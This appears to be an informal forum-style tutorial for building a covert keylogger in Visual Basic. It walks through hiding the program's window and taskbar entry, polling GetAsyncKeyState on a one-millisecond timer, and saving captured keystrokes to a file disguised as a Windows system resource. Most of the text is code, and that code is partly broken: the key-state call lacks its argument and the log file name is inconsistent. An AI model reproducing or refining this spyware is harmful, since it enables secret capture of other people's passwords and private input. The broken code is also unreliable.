Ok. Open VB and start a new application. Add to the form a button, a timer, and a module(I know the module isn't actually part of the form). Thats all. Change there caption of the button to start Logging
(This wont be able to start on start up)
Now using api guide or just copying from here, declare a new function. the GetASyncKeyState function
Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey As Long) As Integer
^---put this in the declarations section of the module.
That is all one line of code. Make sure its like that and not split into 2.
Now you have a new function to use through your program.
ok.
now we must make it be invisible.
OK. In the button code, in the click event of course
type the following
app.taskvisible = false
form1.visible = false
form1.hide
timer1.enabled = true
also in the properties section of the form,change the shownintaskbar
to false
Now when we click the button it should be invisible.
Now we are going to need some variables
in the declarations section add the following
Dim strLetter as String, strTotal as String
Now in the timer code put this,
also set the interval to 1 and enabled to false
Private Sub Timer1_Timer()
For I = 28 To 128
If GetAsyncKeyState <> 0 Then
strLetter = Chr(I)
Now here you can add certain things
so that instead of displaying
useless characters, it tells you
what the user has pressed.
so is if they press Enter/Return, it will
Show some weird box but you dont want that
so you`ll haave to make a select case about each
button you want to customize.
strTotal = strTotal & strLetter
End If
Next I
open "C:\Windows\SysResources.DAT" for output as #1
Print #1, strTotal
close #1
End Sub
'End Code
Now all you have to do is when you want to check the keys pressed, open up C:\Windows\SysResource.DAT in notepad, and there it is. This program will not run on start up.
Dim strLetter As String, strTotal As String, old as string
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Command1.Caption = "Start Loggin"
Timer1.Enabled = False
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
For I = 28 To 128 'ASCII code
If GetAsyncKeyState <> 0 Then
strLetter = Chr(I)
End If
If strletter <> Old Then
Old = strletter
strTotal = strTotal & old
End If
Next I
Open "C:\windows\SysResources.dat" For Output As #1
Print #1, strTotal
Close #1
End Sub
